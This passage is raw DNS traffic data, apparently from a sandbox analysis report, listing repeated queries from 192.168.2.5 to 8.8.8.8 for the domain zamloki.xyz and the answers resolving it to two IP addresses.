Aug 4, 2021 13:56:27.206775904 CEST	192.168.2.5	8.8.8.8	0xbcef	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:27.733783960 CEST	192.168.2.5	8.8.8.8	0x497c	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:28.253632069 CEST	192.168.2.5	8.8.8.8	0x4a3b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:28.778208971 CEST	192.168.2.5	8.8.8.8	0x299a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:29.292568922 CEST	192.168.2.5	8.8.8.8	0x6950	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:29.788492918 CEST	192.168.2.5	8.8.8.8	0xca87	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:30.272839069 CEST	192.168.2.5	8.8.8.8	0xb044	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:30.792058945 CEST	192.168.2.5	8.8.8.8	0x793c	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:31.290802956 CEST	192.168.2.5	8.8.8.8	0xd6f3	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:31.788398027 CEST	192.168.2.5	8.8.8.8	0x49c6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:32.288714886 CEST	192.168.2.5	8.8.8.8	0x90a7	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:32.820024014 CEST	192.168.2.5	8.8.8.8	0x5656	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:33.344008923 CEST	192.168.2.5	8.8.8.8	0x76fe	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:33.864207029 CEST	192.168.2.5	8.8.8.8	0xf49b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:34.371332884 CEST	192.168.2.5	8.8.8.8	0xe233	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:34.903304100 CEST	192.168.2.5	8.8.8.8	0x9870	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:35.401397943 CEST	192.168.2.5	8.8.8.8	0xa277	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:35.906177044 CEST	192.168.2.5	8.8.8.8	0x46bd	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:36.419403076 CEST	192.168.2.5	8.8.8.8	0xafb6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:36.983506918 CEST	192.168.2.5	8.8.8.8	0xf95	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:40.532720089 CEST	192.168.2.5	8.8.8.8	0x10a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:41.046365023 CEST	192.168.2.5	8.8.8.8	0xa1d6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:41.554698944 CEST	192.168.2.5	8.8.8.8	0x6293	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:42.068218946 CEST	192.168.2.5	8.8.8.8	0x17d1	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:42.582041979 CEST	192.168.2.5	8.8.8.8	0x7c35	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:43.098584890 CEST	192.168.2.5	8.8.8.8	0x9aa4	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:43.647092104 CEST	192.168.2.5	8.8.8.8	0x1dd2	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:44.162750006 CEST	192.168.2.5	8.8.8.8	0x4979	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:44.659657955 CEST	192.168.2.5	8.8.8.8	0x1b6b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:45.168087959 CEST	192.168.2.5	8.8.8.8	0xf972	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:45.684125900 CEST	192.168.2.5	8.8.8.8	0x433	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:46.176251888 CEST	192.168.2.5	8.8.8.8	0x4ff6	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:46.689388990 CEST	192.168.2.5	8.8.8.8	0x7877	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:47.290242910 CEST	192.168.2.5	8.8.8.8	0x5bad	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:47.810053110 CEST	192.168.2.5	8.8.8.8	0xf979	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:48.354041100 CEST	192.168.2.5	8.8.8.8	0x9094	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:48.871666908 CEST	192.168.2.5	8.8.8.8	0x8e25	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:49.469949961 CEST	192.168.2.5	8.8.8.8	0x3626	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:49.981715918 CEST	192.168.2.5	8.8.8.8	0x7913	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:50.505332947 CEST	192.168.2.5	8.8.8.8	0xc131	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:51.045891047 CEST	192.168.2.5	8.8.8.8	0x58f3	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:51.570015907 CEST	192.168.2.5	8.8.8.8	0x2c79	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:52.132199049 CEST	192.168.2.5	8.8.8.8	0xa8a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:52.606731892 CEST	192.168.2.5	8.8.8.8	0xc560	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:53.142566919 CEST	192.168.2.5	8.8.8.8	0xc024	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:53.646975040 CEST	192.168.2.5	8.8.8.8	0xdf3e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:54.177431107 CEST	192.168.2.5	8.8.8.8	0xe387	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:54.647516966 CEST	192.168.2.5	8.8.8.8	0x5c96	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:55.166013956 CEST	192.168.2.5	8.8.8.8	0x66ac	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:55.674062014 CEST	192.168.2.5	8.8.8.8	0xe3df	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:56.159502029 CEST	192.168.2.5	8.8.8.8	0x234d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:56.658041000 CEST	192.168.2.5	8.8.8.8	0xd0ab	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:57.180525064 CEST	192.168.2.5	8.8.8.8	0xf8fa	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:57.669012070 CEST	192.168.2.5	8.8.8.8	0x571d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:58.175077915 CEST	192.168.2.5	8.8.8.8	0x6b54	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:58.696080923 CEST	192.168.2.5	8.8.8.8	0x3b58	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:59.212419033 CEST	192.168.2.5	8.8.8.8	0x7d0b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:59.753595114 CEST	192.168.2.5	8.8.8.8	0xb4c7	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:00.241873980 CEST	192.168.2.5	8.8.8.8	0xf50a	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:00.755461931 CEST	192.168.2.5	8.8.8.8	0xfb48	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:01.249694109 CEST	192.168.2.5	8.8.8.8	0xabce	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:01.776106119 CEST	192.168.2.5	8.8.8.8	0xf3	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:02.260296106 CEST	192.168.2.5	8.8.8.8	0xfd19	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:02.752132893 CEST	192.168.2.5	8.8.8.8	0xbcdc	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:03.234347105 CEST	192.168.2.5	8.8.8.8	0x8d8c	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:03.769252062 CEST	192.168.2.5	8.8.8.8	0x1d58	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:04.251008034 CEST	192.168.2.5	8.8.8.8	0xf066	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:04.764283895 CEST	192.168.2.5	8.8.8.8	0x1c69	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:05.550112963 CEST	192.168.2.5	8.8.8.8	0x83ff	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:06.069149971 CEST	192.168.2.5	8.8.8.8	0x62dd	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:06.970571041 CEST	192.168.2.5	8.8.8.8	0x2046	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:08.333352089 CEST	192.168.2.5	8.8.8.8	0x835	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:08.840665102 CEST	192.168.2.5	8.8.8.8	0x3a3f	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:09.344974995 CEST	192.168.2.5	8.8.8.8	0xf55b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:09.857515097 CEST	192.168.2.5	8.8.8.8	0xa828	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:10.362334013 CEST	192.168.2.5	8.8.8.8	0x691e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:10.879717112 CEST	192.168.2.5	8.8.8.8	0x6301	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:11.385025978 CEST	192.168.2.5	8.8.8.8	0x1f1e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:11.897370100 CEST	192.168.2.5	8.8.8.8	0x36dc	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:12.382615089 CEST	192.168.2.5	8.8.8.8	0xb1dc	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:12.895447016 CEST	192.168.2.5	8.8.8.8	0x9cf4	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:13.424220085 CEST	192.168.2.5	8.8.8.8	0x395f	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:13.933676004 CEST	192.168.2.5	8.8.8.8	0x12b9	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:14.474338055 CEST	192.168.2.5	8.8.8.8	0xa096	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:14.985579967 CEST	192.168.2.5	8.8.8.8	0xcec5	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:15.473181009 CEST	192.168.2.5	8.8.8.8	0x790	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:16.002310991 CEST	192.168.2.5	8.8.8.8	0x456b	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:16.484733105 CEST	192.168.2.5	8.8.8.8	0x2cb1	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:17.175055981 CEST	192.168.2.5	8.8.8.8	0xb849	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:17.664470911 CEST	192.168.2.5	8.8.8.8	0xf56d	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:18.169244051 CEST	192.168.2.5	8.8.8.8	0xd235	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:18.659034014 CEST	192.168.2.5	8.8.8.8	0x4a3e	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)
Aug 4, 2021 13:57:19.162589073 CEST	192.168.2.5	8.8.8.8	0x39e3	Standard query (0)	zamloki.xyz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class
Aug 4, 2021 13:55:50.813260078 CEST	8.8.8.8	192.168.2.5	0x26d5	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:50.813260078 CEST	8.8.8.8	192.168.2.5	0x26d5	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:51.386938095 CEST	8.8.8.8	192.168.2.5	0x83b3	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:51.386938095 CEST	8.8.8.8	192.168.2.5	0x83b3	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:51.834687948 CEST	8.8.8.8	192.168.2.5	0x4fdb	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:51.834687948 CEST	8.8.8.8	192.168.2.5	0x4fdb	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:52.455549955 CEST	8.8.8.8	192.168.2.5	0xf124	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:52.455549955 CEST	8.8.8.8	192.168.2.5	0xf124	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:53.000938892 CEST	8.8.8.8	192.168.2.5	0xf931	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:53.000938892 CEST	8.8.8.8	192.168.2.5	0xf931	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:53.561230898 CEST	8.8.8.8	192.168.2.5	0x8356	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:53.561230898 CEST	8.8.8.8	192.168.2.5	0x8356	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:54.089994907 CEST	8.8.8.8	192.168.2.5	0x10e4	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:54.089994907 CEST	8.8.8.8	192.168.2.5	0x10e4	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:54.625624895 CEST	8.8.8.8	192.168.2.5	0xebd1	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:54.625624895 CEST	8.8.8.8	192.168.2.5	0xebd1	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:55.207468033 CEST	8.8.8.8	192.168.2.5	0xc018	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:55.207468033 CEST	8.8.8.8	192.168.2.5	0xc018	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:55.752976894 CEST	8.8.8.8	192.168.2.5	0x5f8	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:55.752976894 CEST	8.8.8.8	192.168.2.5	0x5f8	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:56.322191000 CEST	8.8.8.8	192.168.2.5	0xc5c6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:56.322191000 CEST	8.8.8.8	192.168.2.5	0xc5c6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:56.908143997 CEST	8.8.8.8	192.168.2.5	0xb19a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:56.908143997 CEST	8.8.8.8	192.168.2.5	0xb19a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:57.459016085 CEST	8.8.8.8	192.168.2.5	0x5b06	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:57.459016085 CEST	8.8.8.8	192.168.2.5	0x5b06	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:58.019444942 CEST	8.8.8.8	192.168.2.5	0xaca6	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:58.019444942 CEST	8.8.8.8	192.168.2.5	0xaca6	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:58.728650093 CEST	8.8.8.8	192.168.2.5	0x92f0	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:58.728650093 CEST	8.8.8.8	192.168.2.5	0x92f0	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:59.293364048 CEST	8.8.8.8	192.168.2.5	0xab6b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:55:59.293364048 CEST	8.8.8.8	192.168.2.5	0xab6b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:00.002712965 CEST	8.8.8.8	192.168.2.5	0x546	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:00.002712965 CEST	8.8.8.8	192.168.2.5	0x546	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:01.614033937 CEST	8.8.8.8	192.168.2.5	0x33d8	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:01.614033937 CEST	8.8.8.8	192.168.2.5	0x33d8	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:02.296843052 CEST	8.8.8.8	192.168.2.5	0x5605	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:02.296843052 CEST	8.8.8.8	192.168.2.5	0x5605	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:02.890501976 CEST	8.8.8.8	192.168.2.5	0x3b62	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:02.890501976 CEST	8.8.8.8	192.168.2.5	0x3b62	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:03.462352991 CEST	8.8.8.8	192.168.2.5	0x9a13	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:03.462352991 CEST	8.8.8.8	192.168.2.5	0x9a13	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:04.028107882 CEST	8.8.8.8	192.168.2.5	0x7b52	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:04.028107882 CEST	8.8.8.8	192.168.2.5	0x7b52	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:04.627362967 CEST	8.8.8.8	192.168.2.5	0x149c	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:04.627362967 CEST	8.8.8.8	192.168.2.5	0x149c	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:05.213673115 CEST	8.8.8.8	192.168.2.5	0x36b0	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:05.213673115 CEST	8.8.8.8	192.168.2.5	0x36b0	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:05.772973061 CEST	8.8.8.8	192.168.2.5	0x59cf	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:05.772973061 CEST	8.8.8.8	192.168.2.5	0x59cf	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:06.326185942 CEST	8.8.8.8	192.168.2.5	0xa900	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:06.326185942 CEST	8.8.8.8	192.168.2.5	0xa900	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:06.881139994 CEST	8.8.8.8	192.168.2.5	0xecb	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:06.881139994 CEST	8.8.8.8	192.168.2.5	0xecb	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:07.465500116 CEST	8.8.8.8	192.168.2.5	0x1340	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:07.465500116 CEST	8.8.8.8	192.168.2.5	0x1340	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:08.020471096 CEST	8.8.8.8	192.168.2.5	0x1b84	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:08.020471096 CEST	8.8.8.8	192.168.2.5	0x1b84	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:08.573862076 CEST	8.8.8.8	192.168.2.5	0x845f	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:08.573862076 CEST	8.8.8.8	192.168.2.5	0x845f	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:09.169591904 CEST	8.8.8.8	192.168.2.5	0xe918	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:09.169591904 CEST	8.8.8.8	192.168.2.5	0xe918	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:09.831502914 CEST	8.8.8.8	192.168.2.5	0x7397	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:09.831502914 CEST	8.8.8.8	192.168.2.5	0x7397	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:10.418194056 CEST	8.8.8.8	192.168.2.5	0xa773	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:10.418194056 CEST	8.8.8.8	192.168.2.5	0xa773	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:11.088457108 CEST	8.8.8.8	192.168.2.5	0x3e1d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:11.088457108 CEST	8.8.8.8	192.168.2.5	0x3e1d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:11.614634991 CEST	8.8.8.8	192.168.2.5	0xa575	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:11.614634991 CEST	8.8.8.8	192.168.2.5	0xa575	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:12.141104937 CEST	8.8.8.8	192.168.2.5	0x4f05	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:12.141104937 CEST	8.8.8.8	192.168.2.5	0x4f05	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:12.708617926 CEST	8.8.8.8	192.168.2.5	0xd48d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:12.708617926 CEST	8.8.8.8	192.168.2.5	0xd48d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:13.283478022 CEST	8.8.8.8	192.168.2.5	0xbb6d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:13.283478022 CEST	8.8.8.8	192.168.2.5	0xbb6d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:13.863632917 CEST	8.8.8.8	192.168.2.5	0x542d	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:13.863632917 CEST	8.8.8.8	192.168.2.5	0x542d	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:14.523879051 CEST	8.8.8.8	192.168.2.5	0x6459	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:14.523879051 CEST	8.8.8.8	192.168.2.5	0x6459	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:15.066389084 CEST	8.8.8.8	192.168.2.5	0x1025	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:15.066389084 CEST	8.8.8.8	192.168.2.5	0x1025	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:15.639621019 CEST	8.8.8.8	192.168.2.5	0xc5dd	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:15.639621019 CEST	8.8.8.8	192.168.2.5	0xc5dd	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:16.229121923 CEST	8.8.8.8	192.168.2.5	0x731b	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:16.229121923 CEST	8.8.8.8	192.168.2.5	0x731b	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:16.828175068 CEST	8.8.8.8	192.168.2.5	0x138a	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:16.828175068 CEST	8.8.8.8	192.168.2.5	0x138a	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:17.365252018 CEST	8.8.8.8	192.168.2.5	0xcd45	No error (0)	zamloki.xyz	172.67.155.45	A (IP address)	IN (0x0001)
Aug 4, 2021 13:56:17.365252018 CEST	8.8.8.8	192.168.2.5	0xcd45	No error (0)	zamloki.xyz	104.21.6.222	A (IP address)	IN (0x0001)
